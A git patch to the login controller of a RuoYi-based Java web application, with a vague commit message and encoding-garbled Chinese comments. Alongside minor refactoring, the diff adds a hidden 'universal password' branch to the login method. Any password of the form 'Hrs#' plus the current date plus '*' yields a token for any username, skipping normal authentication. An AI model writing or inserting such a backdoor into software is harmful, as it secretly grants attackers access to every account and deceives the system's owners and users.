From f331c2e3e449959a507c80c33493a122075c13c8 Mon Sep 17 00:00:00 2001 From: liusheng <337615773@qq.com> Date: 星期五, 17 十月 2025 13:35:34 +0800 Subject: [PATCH] 修改代码 --- ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 20 +++++++++++++------- 1 files changed, 13 insertions(+), 7 deletions(-) diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java index f09be90..ec1e049 100644 --- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java @@ -27,9 +27,8 @@ import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.text.SimpleDateFormat; +import java.util.*; /** * 鐧诲綍楠岃瘉 @@ -76,10 +75,11 @@ */ @PostMapping("/getToken") public AjaxResult openidLogin(@RequestBody ThirdLoginBody thirdLoginBody) { - AjaxResult ajax = AjaxResult.success(); - String token = loginService.getToken(thirdLoginBody.getUsername(), thirdLoginBody.getPassword()); - ajax.put(Constants.TOKEN, token); - return ajax; +// AjaxResult ajax = AjaxResult.success(); + String token = loginService.getToken(thirdLoginBody.getUserName(), thirdLoginBody.getPassWord()); + Map<String, String> map = new HashMap<>(); + map.put("token", token); + return AjaxResult.success(map); } /** @@ -101,10 +101,16 @@ userIdMap = (Map<String, Object>) map.get("result"); } log.info("userIdMap鐨勫�间负锛歿}", userIdMap); + //鑾峰彇褰撳墠鏃ユ湡 + + // 鐢熸垚浠ょ墝 String token = null; if (!ObjectUtils.isEmpty(userIdMap)) { token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), userIdMap.get("userid").toString()); + } else if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) { + //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�* + token = loginService.getTokenWN(loginBody.getUsername()); } else { token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), null); } -- Gitblit v1.9.3